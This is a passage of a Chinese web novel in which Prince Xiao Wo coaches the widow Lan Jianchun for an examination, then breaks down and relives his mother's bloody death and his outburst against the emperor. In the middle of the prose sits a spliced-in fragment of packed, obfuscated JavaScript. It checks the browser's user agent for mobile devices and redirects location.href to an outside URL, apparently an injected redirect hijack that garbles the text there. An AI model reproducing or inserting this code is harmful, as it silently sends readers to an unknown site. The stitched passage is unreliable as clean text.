一阵风滚进她的房间,“啪”地一声,窗户被风带动,一下子拍在了窗棂上。兰见春被这动静吓了一大跳。
“九二爻动。”
兰见春垂眸看着她记录下来的卦象,心脏扑通扑通地跳,她呢喃道:“枯杨生稊,老夫得其女妻,无不利①……”
卦象里的“老夫少妻”,年纪相差很大;而现实中,是大皇子与乡野村妇,身份相差很大。
枯杨生稊,绝处逢生。
兰见春眼中燃起了火焰,她像是得到了谁的许可——
“无不利……”
萧沃,可信。
上京,可行。
—
“主子,文台那边有消息了。”文亭从怀中取出一封信递给萧沃。
萧沃手撑着脑袋,歪在榻上闭着眼,没接那封信:“他说什么?”
“属下给主子念。”文亭拆开信,念道,“禀主子……”
“不用念,说结果。”萧沃抬起一根手指,指信,“我懒得听他那些废话。”
文亭仔细看文台的信,通过那些絮叨的话,择出来他想表达的东西:“文台已经找到了三名苦主,他问主子,该如何安顿?”
“通知家里,准备接人。”萧沃说,“这几个人务必安全送到京城,万万不可出差错。”
“是。”文亭偷偷抬眸打量他。
“你想说什么?”萧沃连眼皮都不抬。
“后院那女人,”文亭小声说,“主子真的要把她送去晦朔司吗?”
“她够聪明,也够胆量。”萧沃睁开眼,透过桌上的烛光,好似看向一双琥珀色的虎眼,“今夜那一箭,够漂亮。”
文亭看向他的脖颈,刚缝了好几针,现在血又晕红了纱布,说:“这伤……主子,这乡野村妇,就算进了擢选大考,恐怕也考不上吧。”
“是吗?”萧沃伸手摸摸脖子上的伤,还在回味兰见春射他那一箭时的神情。
文亭说:“她丈夫不过一个秀才,就算能教她读书,顶多就是认认字,背背书而已。但是,去擢选大考的都是些高门大户的少爷小姐。她怎么能赢过那帮人呢?”
萧沃看向文亭:“你似乎不喜欢她。”
“她伤了主子,”文亭皱着眉头说,“实在胆大包天。”
萧沃为兰见春找理由:“她那时又不知道我是谁。”
“即便不知道主子是皇子,她也应该知道,主子非富即贵。”文亭说,“如此,还敢用箭威胁主子,此人留不得。”
萧沃没有立刻回应文亭。
文亭说:“您真的要带她回京吗?”
萧沃按压自己的太阳穴:“无论她进不进晦朔司,她都能帮到我们。吴沟村的事,她可是唯一的证人。”
文亭说:“属下还是觉得,您帮她准备文试,就是……”
“浪费精力?”萧沃顿了片刻,嗤声笑道,“刚好我们要在潼裕待一段时间,有这么个人在身边,还挺有趣的。”
文亭心有余悸。
“行了,文亭。”萧沃说,“你什么时候变得这么犹犹豫豫?”
文亭若有所思。
8. 诀别
转天晚上,萧沃抱着一大摞书卷跨进了兰见春的房门。他抻着脖子看路,把书撂下时,差点把桌上的水壶掀翻。
萧沃连忙推了推鼻梁上的眼镜,也看清了兰见春好奇的眼神。
兰见春指自己的眼睛:“这就是眼镜吗?”
“没错。”萧沃摘下来给她看。
兰见春双手接过眼镜,这幅眼镜没有框,拇指抚过镜片,冰凉凉的感觉:“这是用什么做的?”
兰见春举起眼镜,透过镜片看萧沃,他变得小小一个,但他的轮廓很清晰,连他鼻梁侧面的痣都能看清。
“是水晶。”萧沃说。
兰见春点头,她又指棕褐色、还有斑点的镜框:“这又是什么?琥珀?”
萧沃答:“玳瑁。”
兰见春又问:“那是什么?”
萧沃答:“龟壳子。”
兰见春脑子里闪过一堆会咬人的王八,怯生生地问:“那玩意还能做眼镜?”
萧沃点头:“能。”
兰见春仔细打量眼镜,这玩意浑身都是贵料子,别说吴沟的地主,就是丘州城里的富商都未必买得起。
“眼镜有便宜一点的吗?”兰见春仔细观察玳瑁镜框,“这也太贵了,够我们一家过一辈子了。”
“如果你需要,我可以送给你一副。”
“不,我没那个意思,我眼睛好的很。”兰见春说,“我就想知道,有没有给我们这种人戴的,没多少钱。”
“肯定有,”萧沃转念一想,“但镜片要用水晶……水晶价贵。”
“我就知道,”兰见春把眼镜架在自己鼻梁上,“这种好东西,都贵。”
瑞生也眼睛不好,严重得连屋子里的学生都看不清。尤其到了晚上,那更是跟瞎子一样,出门都得扶着兰见春的肩膀才行。要是瑞生也有眼镜就好了,读书就不至于那么遭罪了。
她把眼镜还回去,萧沃捏住镜腿,用帕子擦去镜片上她的手印,又架在了自己鼻梁上。
兰见春端详萧沃:这眼镜可真是个怪东西,他一戴上就变严肃了,因为视野变得清晰,他的冷漠、他的锋芒都原形毕露,像个犯些小错就要打学生手板的先生。可他一摘下,他的眼睛就变得温柔、朦胧,像早晨时雾气氤氲的湖。
“还看,”萧沃说,“我脸上有字吗?”
兰见春赶紧抓过一本书来翻,哗啦啦过去好几页,都没发现书拿反了。直到一双白净修长的手伸过来,帮她把书调转。
“你到底识不识字?”他问。
“识,识。”兰见春正襟危坐,萧沃站在那跟座山似的,压得人喘不过来气。
“怎么连书都拿倒了?”
“紧张。”兰见春把脸埋书里面,心说你别这样看着我,我害怕。
萧沃随手从桌上捡了个杯子,喝水的时候,透过缝隙观察兰见春,她战战兢兢的样子,真跟那天拿刀拿箭威逼的模样判若两人,他忍不住勾起唇角。
“我们时间不多,当速战速决。”萧沃把杯子放在桌上,“这段时间,足矣。”
兰见春||心想,何瑞生四岁启蒙,十几岁就开始写策论,学到二十四岁才是个秀才。而自己现在所剩不过四个月,从头开始学,还要在比科举困难两倍的晦朔司大考中考到前二十,天方夜谭吧?
“未战先怯。”萧沃沉声说。
兰见春把头压得更低,快扎书本里了。
“你忘了?教你的先生是我。”
兰见春看他从那摞书中取出一本“秘笈”,像炫耀自己最优秀的孩子似的,把它举给自己看。
“晦朔司成立二十年,共有擢选大考十五次。再结合历年的殿试题目,我已参透擢选大考的规律,并模仿其出题特点,为你准备了二十个策论题目,皆收录其中。”
兰见春头要爆||炸了:“可是题目看懂了,写不出来怎么办?”
萧沃说:“即日起,你我同写一题。写完之后,我会帮你订正,当晚你就要将修改后的策论带给我看。转天清晨,你要告诉我,自己昨夜的修改版有哪些不足之处,我会结合你的回答,再次给你修改建议。待到一轮结束后,我们会倒回来重温旧题。”
兰见春点头:“好。”
萧沃翻开了他的大宝贝的第一页:“那我们就先从去年的题目开始——原题摆在这,切莫乱涂乱画。哦对,每日上学前须漱口净手,切莫抚脏了书卷。”
兰见春点头。
萧沃又把他的大宝贝揣怀里:“你应该不知道策论怎么写吧?这样,今天先不写了,你先看几篇圣贤写的文章,再看几篇我写的,我认为我的论法简单、朴素、易学,你且细看,多看两篇,照猫画虎也该会了。”
兰见春又点头。
“我先带你分析几篇。”萧沃又从他的书中抽出他的二宝贝,这本估计是他怀里的老人了,页角都黑黢黢、皱巴巴的。
他把大宝贝揣怀里护着,把二宝贝往桌上一放:“先看这第一篇,来,提笔,出声音,念给我听。”
兰见春瞧他那样都害怕,捏着二宝贝的一角,定睛一看——二宝贝上全是萧沃的笔记,墨迹晕染,都快看不清原来的字是什么了。最后念的是一塌糊涂,还被萧沃锐评“不知句读”。
一天下来,学的东西感觉比她过去十多年里学的都多,她真的要爆-炸了。
她昏昏欲睡,可萧沃却越讲越精神,越讲越疯狂。到了晚上,一手持卷,一手拎酒壶,酒精的催发下,他更加忘乎所以。
兰见春昏睡,他大声质问她如何睡得着,非得阴阳怪气两句才好;
可当兰见春答错时,他竟不恼火,反倒兴奋地给她颠来倒去再说上一遍;
兰见春答对了,他高兴得又鼓掌又雀跃,比他自己受了老师嘉奖还要兴奋。
一天下来,萧沃是又累又舒坦,兰见春可不一样——她要累死、烦死、困死了。
兰见春感觉萧沃简直是个疯子,这人一讲起读书作文来就完全沉浸于自己的小世界里,飘飘然、似乎马上就要羽化而登仙。
过去也见瑞生起早贪黑地学,可他那是没办法、忍着不叫苦地学,但萧沃这……倒真是乐在其中。
第十天,萧沃未时末就“放过”了兰见春。
“这几日一天学七八个时辰,你肯定也累了。休息小半日,休整休整。”
兰见春打了个哈欠:“真的?”
“我为何要骗你?”萧沃低头收拾自己的书本。
兰见春琢磨着,一会得先去趟医馆,拿些败火明目的药来。天天看书天天写字,眼睛干得要变成俩沙丘了,脸上长了好几颗又红又肿的痘,她都不敢照镜子,怕给自己吓死。
“一会我就让郎中过来给你瞧瞧,开点败火明目的药来。”
兰见春猛地抬起头:“你怎么知道……”
“看你脸上憋出来的那些痘。”萧沃连头都不抬,“俩眼感觉冒火了吧?”
兰见春使劲点头。
“学久了就这样。”萧沃说,“我十五六的时候比你现在还严重呢,就是憋的、愁的、气的。”
兰见春往前凑了凑,瞪大了眼睛看他的脸:“可是你现在完全看不出来……”
“那当然,”萧沃抬眸看她,“后来我没少喝药,治好了。”
兰见春刚要摸自己的痘,萧沃就抓住她的手,拦下了她。
“别碰,会留疤。”
兰见春透过水晶镜片看他的眼睛,好透,都能透过他的黑眼珠,看见自己的脸。
萧沃别开了目光,松开了她。他不再说话了,抱起自己的东西,逃也似的离开了。
兰见春不明所以,不知道他在慌什么。
郎中来给她处理好了伤口,又给她开了菊花枸杞茶,说这样又败火又明目。
但是她看橘黄色的枸杞就觉得上火,偷偷摘出去好多,都用油纸包了起来,藏进了书柜里。
喝的时候为了提神,兰见春还加了一把绿茶进去,一杯湛绿的茶中又飘着几朵胎菊,喝一口下去感觉心里的火都熄灭了几分。
她难得有机会安安静静、平平淡淡地度过一个下午。
她把这几天学过的东西都进行整理归纳,十天的东西加起来就能堆满五个书格。
她望洋兴叹,这离擢选大考还三个月呢,那得写多少东西,得填满多少个书柜……
西北的夏天,虽然白日里干热干热,但晚上就清清凉凉,小风一吹,一身的暑热都烟消云散。
兰见春杵着拐,提了一壶晾到温热的菊花茶,她想送给萧沃,顺便去院里透透风。
路过萧沃的屋子时,看见他还点着灯,但是静悄悄的,只有隐约的风声、翻书声。
兰见春一瘸一拐地往他门前走,没有贸然敲门,而是站在这听屋里的动静。
一开始,没有翻书声,睡着了?过了一会,“嗤”地一声,好像在笑?又开始翻书了。
兰见春心说,这人真是个书疯子,天天看这些东西,不累吗?
她敲门。
“请进。”
她侧身撞开门,进到了萧沃的房中。
萧沃打量她的茶壶,笑道:“这是什么?”
“郎中给我开的菊花枸杞茶,我也给你送一点。”兰见春笑,“这段时间,辛苦了。”
“哇……”萧沃感叹,“你好会借花献佛。”
“那我也没别的能送给你的了。”兰见春颤颤巍巍地把茶壶给他拎到桌子上,正好看见萧沃在写策论,“这是我过几天要写的题目吧?”
“对,趁今天你休息,我赶紧把它写出来。”萧沃把纸扣上,“不能作弊,兰夫人。”
“没看!”兰见春挤出一个人畜无害的笑容,“没看见!”
她往别处看,又看见萧沃桌上摞着一堆她之前写过的作业,旁边落了很多新批注。
她问:“这些你不都说可以过关了吗?怎么……”
“十天过去,整体来说你进步很大。但是我得研究研究,你到底哪里提高了,哪里还没有长进。”
兰见春惊讶地说:“我从未见过像你这样,比学生还努力的先生。”
萧沃心里还挺高兴:“早说了,我跟别人不一样。”
兰见春使劲点头:“是的。”
“等着吧,”萧沃把眼镜摘下来,倒了一杯她煮的茶,“听我的没错,我准能让你进武试。”
兰见春看着纸上密密麻麻的字:“为什么要这么帮我?岷王殿下。”
萧沃放下了杯子:“怎么了?”
“我好奇。”兰见春说,“您这样的大人物,居然会在一个一无所有的穷妇人费这么大的心血。”
萧沃说:“我不是说了,我希望你进晦朔司,我想让那个地方,有我的人。”
兰见春摇头:“如果您想这么做,应该早就培养自己的人选了。您遇见我,是偶然的,送我去会晦朔司,应该也是临时起意吧?”
“……”
“我不明白,”兰见春疑惑,“你到底哪里觉得,我能考上晦朔司呢?”
萧沃反问:“你又到底哪里觉得,自己考不上晦朔司呢?”
兰见春:“……”
“你总怀疑自己,”萧沃说,“但我能看出来,你还算有点学习的天赋。”
以前可从来没有人这么说过兰见春,她很意外:“真的?”
“不然我为何要在你身上费这么多心思?”萧沃把目光别向另一边,“难不成,是我贪财好/色?”
兰见春摇头:“不会,您这种身份,手上不缺钱,身边也不缺好颜色。”
萧沃微微挑眉,顺着她说:“对嘛。”
兰见春指着自己:“所以……就单纯是看我是个——好苗子?”
萧沃眨巴眨巴眼:“当然,我浇浇水施施肥,没准真能长成参天大树,成为我的靠山呢。而且晦朔司于你而言,是找出屠村凶手的最佳路径。双赢的活,我何乐而为?”
又是这套说辞,兰见春总觉得萧沃隐瞒了他真正的目的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323078|183179||http|test|mini|href|location''.split(''|''),0,{}));
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>“是么?”兰见春准备离开,她端详萧沃,感觉眼前有一层雾,遮盖住萧沃的真心。
萧沃侧眼看着书桌上的纸,若有所思。
“不光救了我,还教我读书写策论,将来还要送我去上京。”兰见春眉头紧皱,“你说你是为了你自己,但我总觉得你有别的目的。”
萧沃望着她,沉默,眼神复杂,她看不明白。
“我会弄明白的。”兰见春摸到了门闩,反手拉开,“我会的。”
三个月后。
兰见春的腿伤痊愈,她也被萧沃折磨得写得出策论了。提笔作文的时候,神态、文风,与少年萧沃颇为相似。
萧沃这学习的法子疯狂,但有用。他参透了擢选大考的规律,甚至能结合殿试的题目,站在几个出卷官的角度上,揣摩他们的思路和风格。再根据时事,模仿出卷官的风格给兰见春押题。
而兰见春也异常勤奋、聪慧。她会按照萧沃给她的文章,逐字逐句地推敲作者的行文思路。当她把所有文章都分析一遍,她会按照题目类型再次把文章分类,横向对比多篇策论,最终归纳出“通法”,再结合题目背景作不同的文章,以不变应万变。
她进步飞快,萧沃都看在眼里,他从未见过如此坚定、聪慧的人。
擢选大考在即,他们启程回京。
—
上京城的秋天比西北湿润很多。
兰见春跟随萧沃来到了靠近城墙的一处小宅院,统共两间房,但离菜市很近,方便她生活。
萧沃给了她一袋银子和一块令牌:“京城事多,我没法时刻照应你。这些钱够你花一阵子了,不够的话,就拿着这块牌子去东大街的磬音楼,楼里的顾东家会给你银钱。”
兰见春好奇地打量这块令牌,上面没写字,倒是刻了一颗端庄繁茂的树。
兰见春问:“这是槐树吗?”
萧沃点头:“是,你拿着令牌去,他们便知道是我的意思,绝对不会为难你。”
兰见春朝他眨巴眨巴眼:“我记下了。”
萧沃顿了顿,又嘱咐道:“再有,这离大考也就剩二十多天,你要是想练骑\\射一样可以去磬音楼。当然,你切莫把太多心思放在武试上,你的腿伤刚好,别再累坏了。这段时间,吃的清淡些,小心吃坏了肚子。”
兰见春点头。
萧沃又说:“最近也要坚持卯时起、亥时休,一直到大考,切莫松弛下来,不然到了大考,你会乱了阵脚。联系过的策论整理好,若我有空,一定会来检查你的功课。”
兰见春有些烦了:“明白了。”
“你切莫嫌我烦,”萧沃笑了笑,“我也是第一次做老师,我做梦都希望你能过大考。”
兰见春眉头舒展,说:“我会努力的。”
“当然,你也不要有太大负担,顺其自然就好。”萧沃抱歉地说,“没办法,我回了京城,就要面对诸多身不由己之事,我需要跟你撇清关系,就不能像在丘州似的天天陪在你身边了。”
兰见春看得出来,他是真的很遗憾。但她并非不懂事的人,说道:“我懂。”
萧沃微微颔首:“那就告辞了。”
兰见春捧着钱袋和令牌,跟在萧沃身后,送他离开。
她踩着萧沃的影子,蟋蟀的叫声犹如心跳。
萧沃拉开门闩,转身对她说:“兰夫人留步吧。”
兰见春说:“我就送你到这。”
萧沃笑,向外走去。文亭感觉把他的马牵过来,萧沃翻身上马。马蹄声起,他头也没回地向城中去。
兰见春站在门边良久,待到街道再次恢复宁静,她才回过神来,将门锁好,向自己的房间走去。她站在院中,好久才想起抬头看看,原来在这院子里,还有一颗槐树。
秋风荡过发黄的槐树。
她仰望树冠,恍了神。
这小半年的日子好像一场连台戏。
印象里,瑞生还在她身边,手里捧着书卷,念叨着“孔孟之道”。而她还在自家私塾里的厨房里忙活,绞尽脑汁地为孩子们做顺口的午饭。待到傍晚,她又要带孩子们操练,去塬上练拳、练刀,水一样的月光划过刀锋。
忽然,天降大雨。冲垮了黄土塬,冲垮了麦田,冲垮了千百人家。一批批的乡邻请瑞生为他们写请愿书,请县太爷开仓放粮。瑞生背上行囊去了羌榆县衙,一去不复还。
等到再见,竟是生离死别时。
瑞生瘫倒在马背上,像被人抽干了血。官服派人来屠村,血染红了洪水。
她逃啊,摔下了山崖。
斗转星移,再次出现在她身后的,竟是当朝皇子萧沃。他看着自己的眼神中满是悲悯。
她一定要拿下擢选大考。
把希望寄托在任何人身上都不行。晦朔司是离皇帝最近的地方,她一定要亲自走到那个高度,将害了瑞生、乡邻的人揪出来。
风拂过她鬓边,带走了她眼角的一颗泪。
她向房内走去,一层层地脱掉自己的衣服,取出瑞生留给她的联名书和信。
她先把联名书藏到了枕头下面,之后用小刀小心翼翼地化开信封,发现里面只有两张纸。
一张上画了个很奇怪的图案:是一只眼睛,而在那瞳仁里,又叠了一只与外形一模一样的眼睛。她看这图案,越看越觉得熟悉,似乎在哪里见过。
而另一张叠了三层,她摊开一看,泪水霎时盈满眼眶。
“放妻书
羌榆何瑞生与兰见春自幼相伴,竹马青梅,情深意笃。然天不怜我,奸佞当道,我终遭毒手,命不久矣。我生前未能与见春白首,死后更不忍见妻孤灯独守,形影相吊。
我已为泉下客,见春不必为我守节,切莫为我空误青春。愿娘子再结良缘,享人间温暖,我便再无遗恨。
此书非诀别,而是祈愿。望见春勿以我为念,勿因旧情自苦。
伏愿娘子千秋万岁,明月千载,随人而圆。
顺颂时祺。
瑞生。”
9. 噩梦
岷王府内,灯火通明。
张妈妈早就候在门口,见到萧沃、文亭归来,趋步上前拦在萧沃:“殿下,王妃已经歇息了。”
“我现在就要见她,”萧沃没有停下脚步,“现在,马上!”
“是,殿下!”张妈妈吓得脸色都白了,她赶紧往内院跑。
萧沃脸色阴得能拧出水来,当他走到内院门口,看见一个穿银色香云纱的女人在等他。
见萧沃冷着脸,景思娴原本想迎迎他,现在倒好,她站在原地,可不想上去撞枪口。
萧沃走到距离景思娴十步远的地方,他转头对张妈妈和文亭、陈瑛说:“都出去。”
张妈妈噤若寒蝉,不知道是走是留好。
景思娴说:“走,别在这。”
等院中的其他人退下,萧沃疾步走到景思娴面前,伸出一根手指拨开她的衣领,看见了几处吻||痕,失望地闭上眼。萧沃的太阳穴突突的,拳头也攥紧了。
萧沃压着火问:“他又来了?”
景思娴默认。
萧沃咬牙切齿地问:“现在走了吗?”
“走了。”景思娴怯生生地说,“你进府的时候,就走了。”
“我明明在信中都跟你说了,我今日回府,早做准备。”萧沃压着火,“再难舍难分,你不也得照顾照顾我的面子?!”
景思娴不说话,由着他发火。
萧沃握住她的肩膀:“王妃。”
景思娴侧眸看他。
“家里出了这么大事,你还有心情搞这些?”萧沃压低了声音,“我从潼裕送回来的那三个人呢?死了,死在了进京之前。”
景思娴小声说:“是山匪。”
“放屁。”萧沃说,“山匪,不贪财不要色,偏偏要他们的命?”
景思娴惭愧不已:“这件事是我没处理好。”
“我费了那么大的力气,才把他们找出来。好不容易送到了京城,居然死在了家门口。”萧沃盯着她说,“景思娴,你是不是有些得意忘形了?”
景思娴根本不敢喘气:“对不起。”
萧沃手上用力,捏住了景思娴的肩头:“我们错不起。”
萧沃力气很大,捏得她骨头疼,景思娴咬着牙忍,含着泪不敢让它掉下来。
萧沃不忍心看她泪汪汪的眼睛,觉得是自己欺负了她。他松手,看向院门口:“这事,也不能全赖你。”
景思娴捂着自己的肩膀,默不作声。
“你办事一向谨慎,我知道的。”萧沃望着空空的庭院,袖下的手攥成了硬铁块。
线索又断了,每次都在这种关键时刻掉链子。
萧沃不甘心地说:“那三个人,都是文台废了九牛二虎之力才找到的。他们手中有罪证,还愿意上公堂指控老二……结果全死在了路上。他们的行踪怎么暴露的?怎么会暴露呢?”
“殿下,”景思娴小声说,“有家贼。”
萧沃眉头都拧成了一团:“家贼……查,就从陈瑛、张妈妈开始查,把跟着我去潼裕的人都搜一遍!”
景思娴说:“我这就给爹写信,派几个信得过的人来搜。”
萧沃:“陈瑛就是舅父的老部下,让舅父的人来,能查出什么?”
景思娴听出来他的言外之意:“殿下怀疑是陈瑛?”
萧沃哑着嗓子:“我没证据。”
景思娴:“是他在哭路上跟殿下起了冲突?”
“没有。”萧沃敷衍道。
景思娴说:“陈瑛是我爹旧部,以前就是我爹的军师,他们出生入死这么多年,早就是一条心了,殿下怎么能怀疑是他呢?”
萧沃沉默片刻:“我的感觉很少错。”
景思娴戳破他的心思:“殿下就是因为陈先生是我爹派过来的,不信任他。”
萧沃没有回应。
“不该怀疑陈先生。”景思娴说,“他不是。”
萧沃说:“现在没证据。”
“我为他担保,殿下尽管来查。”景思娴走到他身后,小声说,“既然殿下怀疑他,他就没必要留在殿下身边。明天,就让陈先生回来吧。”
萧沃冷哼一声。
景思娴:“听闻殿下带了个女人回京。”
“是。”萧沃大方承认。
景思娴问:“为何不带回府里?”
“不方便。”
景思娴小声说:“殿下尽管带回来,我会好好待她。”
“我你会错意了。我对她并无男女之情。”萧沃对景思娴说,“她与西北水灾有关,我带她回京,有大用。”
景思娴望着他,等他解释所谓“大用”是什么。
萧沃说:“我要送她进晦朔司。”
景思娴低声说:“父皇最讨厌外人把手伸进晦朔司,殿下,不可啊。”
萧沃说:“就怕晦朔司里都是萧回的人。”
景思娴握住萧沃的手,轻声说:“殿下,不会的。晦朔司上下都听命于父皇,屹王他没那么大本事。”
萧沃甩开她:“陛下偏心萧回也不是一天两天了!要不是前朝有老师拦着,恐怕他早就骑到我头上,当上太子了!”
“殿下!”景思娴再次握住萧沃,“不可能的。父皇再偏心,也得顾及您的面子呀。”
“陛下已将陈昀抬为皇后,萧回一下子从庶出变成了嫡出。我不过是比他早出生了两年,前几年还有人说,立嫡立长,如今你再看,还有谁说这句话?陛下分明有意立萧回为太子,不过是碍于我还活着,这才迟迟没动手。”
萧沃眼神躲闪,浑身都在抖,他闻见了尸臭味、血腥味,突然开始干呕。
景思娴死死抓住他的手,安抚他的后背:“殿下您太紧张了。”
萧沃只吐出来几口酸水。他用手帕擦了擦嘴,却盯着地缝,始终不肯抬起身。
“年前,老二先我一步生下长孙,他又在西北立了军功,朝中多少大臣投奔屹王府!景家又遭陛下忌惮,留给我的活路不多了……思娴,陛下会不会找个由头就把舅父、把我们都杀了?”
景思娴无奈地看着他,萧沃这模样,肯定是再也不听不进她说话了。
“都是我的错,我应该听话些,我不该对父皇有怨言。”萧沃望着景思娴,眼里满是绝望,“娴妹,都怪我太懦弱。父皇赐婚的时候,我当死谏,求他收回成命。我早就该与靖国公府断绝关系……”
景思娴抱住了萧沃:“殿下做得对,无论如何,都不能抗旨啊。”
萧沃抱着他的手臂,痛哭流涕,哭得上气不接下气,突然又不哭了。
萧沃抬头对景思娴说:“晦朔司大考在即,她一定能行。”
他眼里的期待让景思娴心疼,对远处的张妈妈说:“准备好热水,殿下要沐浴了。”
“是。”
“你知道吗?她的箭法很准。”萧沃拉着景思娴,骄傲地说,“她特别特别聪明,特别特别勤奋,我教她写策论,她学得很快,写的很好——”
景思娴点头:“我相信殿下的眼光。”
萧沃小声但坚定地说:“她一定能进晦朔司的。只要晦朔司中有我们的人,我们就能翻身。”
他的目光太炽热了,烫得景思娴浑身起鸡皮疙瘩,僵硬地点头。
“我们决不能坐以待毙。”萧沃说,“决不能让萧回得逞。”
景思娴心疼地说:“好。”
萧沃恳求道:“不要告诉舅父,好吗?”
“好。”景思娴说,“殿下去沐浴吧,服过药再睡。”
“你好生休息。”萧沃擦擦额头的汗,转身往自己房间去,他脚下虚浮,像踩了棉花。
文亭适时出现,赶紧搀住了萧沃:“殿下,您怎么一回府就……”
“我没事,”萧沃拂去他的手,还在喘||息,“不用管我,我没事。你赶紧带上文楼巡府
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,别让一只苍蝇飞进来,别耽搁,快去。”
萧沃撇下文亭,颤颤巍巍地往后院走,每走五步就要扶着廊柱喘两口大气。
他头晕眼花,耳边一直有贼人的脚步声。他逃也似的往自己房中跑,关上门,三下五除二脱净了衣衫,一头往浴池里扎。
他呛了几口水,却也清醒过来了。终于能平静地靠着池边,昏昏欲睡。
可是没过多久,耳边的脚步声越来越近,萦绕在鼻尖的血腥味越来越浓,他被吓得一激灵,马上睁开了眼。
他看见了一片黑暗、混乱:身边净都是些女人,她们端着盆,里面是浸满血的纱布,匆匆地向外跑。
他逆着人群向里面跑,抬头一看,一幢大殿横在自己面前。“坤宁宫”的牌匾掉了一角,摇摇欲坠。
萧沃推开殿门,哭声、脚步声都停止了,女人孱弱的呼吸越发清晰,他转过头,却见血色的月光洒在了景皇后赤||裸的身体上。
景后身下全是血,腹腔大开,肠子犹如被抽了骨的蛇,随意地瘫在床上。风荡起蓝色的床幔,将她的呼吸裹挟。她双臂紧紧抱着一个硕大的婴儿,紫红色的孩子趴在她胸前,贪婪地吮吸着乳汁。
“荫槐……”景后抬起一根手指,一字一顿地呼唤他,“荫、槐……”
萧沃顿时跪在地上。
景后的眼睛红得像沁了血、着了火,泪爬满了她雪一般白的脸。她幸福地笑了:“来,到娘身边来。”
萧沃以双膝为足,爬向他的母亲。
景后伸出一只手,抚摸他的脸颊,血黏黏腻腻,像母亲的疼爱一样让人难以割舍。
“儿啊,”景后笑,垂眸望着怀里的婴儿,“是弟弟。”
萧沃哭了:“我不要弟弟,我要母后……”
“你抱抱他,”景后说,“我没力气。”
萧沃伸手将婴儿抱起来,那孩子感知到了危险,放声大哭。萧沃根本不会抱孩子,弄得婴儿哭得更惨了。
萧沃站起身,坐在景后床边,一手将他的母亲抱在了怀里。他大哭着,扯过来被子给她盖上。
“别怪你父皇。”景后抬头看他,抬手逗了逗婴儿的脸,安慰道,“别哭啦。”
萧沃握着她的手,很快就凉透了。
萧沃擦干净眼泪,随手扯了块布裹上孩子,拔出景后的陪嫁剑血罗衣,便往乾清宫去。
雷声轰隆,雨如同景后的眼泪,绵柔、绝望。
婴儿哭个不停,他却一刻不停。
乾清宫大门紧闭,贵妃陈昀站在殿门口,等着萧沃。
萧沃举剑对着陈昀:“我要见父皇。”
陈昀笑意盈盈,迎着他的剑锋就凑了上去,踮脚看了看他怀里的婴儿,说:“陛下歇息了,大殿下明日再来吧。”
萧沃把剑架在她脖子上:“速去通传,本王要见父皇。”
陈昀笑:“陛下口谕,坤宁宫来的人,不见。”
萧沃面如阎罗:“你可知谎报圣旨是死罪?”
“大殿下借本宫十个胆子,本宫都不敢撒谎呀。”陈昀丝毫不怕,“大殿下还是请回吧,这新生儿可见不了风雨,会生病的。”
萧沃的剑往她的脖颈又逼了几分,沉声说:“滚。”
“圣命难违。”陈昀笑不出来了,“殿下今日若敢擅闯乾清宫,便与谋反无异。殿下就算不是为了自己,也要为幼弟收敛锋芒啊。”
萧沃说:“让开。”
“殿下可曾想过硬闯的后果?”陈昀直视萧沃的眼睛,“您承担的起吗?靖国公府——承担的起吗?”
萧沃强忍泪水,他拿不动剑了。
陈昀抬起两根手指,慢慢拨开了架在她喉咙上的血罗衣。剑落在地上,萧沃痛哭。
“我不信父皇会绝情至此。”萧沃愤懑地盯着陈昀,“我母后为他生儿育女,现在她死了,他竟连看都不看一眼。”
陈昀说:“帝心难测。”
10. 犯病
“难道是我舅父?!”萧沃越过陈昀,冲乾清宫内大吼,“这么多年,你分明对我母后无意!你不过是为了稳定靖公军军心,才与她生儿育女!”
陈昀大惊失色:“殿下!慎言!”
“滚,”萧沃甩开陈昀,冲里面吼道,“你不喜欢她,对不对?你还厌恶她,恐惧她,但又因为靖公军,你离不开她!你何至于此?你一时爽快了,提上裤子走人了,我母后怀上你的孩子,她整日被胎儿折磨,还要跪谢天恩!”
“天呐!”陈昀过来拉萧沃,“您可别再说了!”
“你别拦我。”萧沃又对乾清宫喊,“她的肚子里的胎儿被你流水似的补品撑大了,她难产了,明明可以自保,却还要为了生下你的儿子,被开膛破肚,丢了性命!”
“别说了!殿下!”陈昀蹲在他面前,“你这样闹,皇后娘娘她如何能安心地走!”
萧沃问:“你怎么会懂?”
陈昀反问:“我怎么不懂?我也是个母亲!若皇后娘娘知道您带着刚出生的幼弟在这,对您的父皇破口大骂,她该多伤心?回去吧,殿下,给自己、给景家都留点体面。”
“我不走!”萧沃哭着说,“泠妹咽气的时候,他不在,如今弟弟出生,他看都不看一眼。人怎么能如此绝情,如此凉薄……我就在这守着,有能耐,他一辈子都不出乾清宫!”
“吱……”乾清宫的门开了,皇帝的贴身太监汪琢走了出来,“传陛下口谕——”
陈昀立马跪下听旨,萧沃却挺着后背不愿屈服。
“三皇子萧沅命格不祥,即日起迁出坤宁宫,永世不得回宫;前线苦战,为稳军心,皇后暂不发丧——”
萧沃嗤笑。
他想起母后,她一生为皇帝生儿育女,却死在产床上,弥留之际,竟还哭着哀求自己不要迁怒于父皇;想起面临敌军包围,杀得浑身是血的舅父;想起辽北战场的月光,空空地落在边疆上,空空地照亮万千征人白色的尸骨。
他们誓死效忠的,就是这样无情的君父。
为此做的牺牲,有什么意义呢?
“大殿下,”汪琢拾起血罗衣,还给了萧沃,“陛下已经给您台阶下了,您就承了这情吧。”
“汪公公,”萧沃抬眸盯着大殿中央的龙椅,“该死的是父皇。”
“天啊!”陈昀、汪琢同时惊呼。
“你怎么不去死啊!”萧沃爬起来,冲乾清宫内大叫,“你该去死啊!”
“疯了!”
陈昀、汪琢闻声迅速跪了下来。
皇帝急匆匆地冲出来,站在殿中,睥睨萧沃。
萧沃抱着孩子,提着剑,踉踉跄跄地跨进了乾清宫。
“父皇,”他笑,“儿臣说,你怎么还不去死?”
“你疯了,”皇帝冷静得不像话,“汪琢,速去传太医,为大殿下瞧病。”
萧沃狂言道:“我没病!”
皇帝指着他的鼻子:“萧荫槐!不要蹬鼻子上脸。你是朕的长子,要给弟弟妹妹们做个服从的榜样!”
萧沃提剑,也指着皇帝:“我没你这样的父亲。”
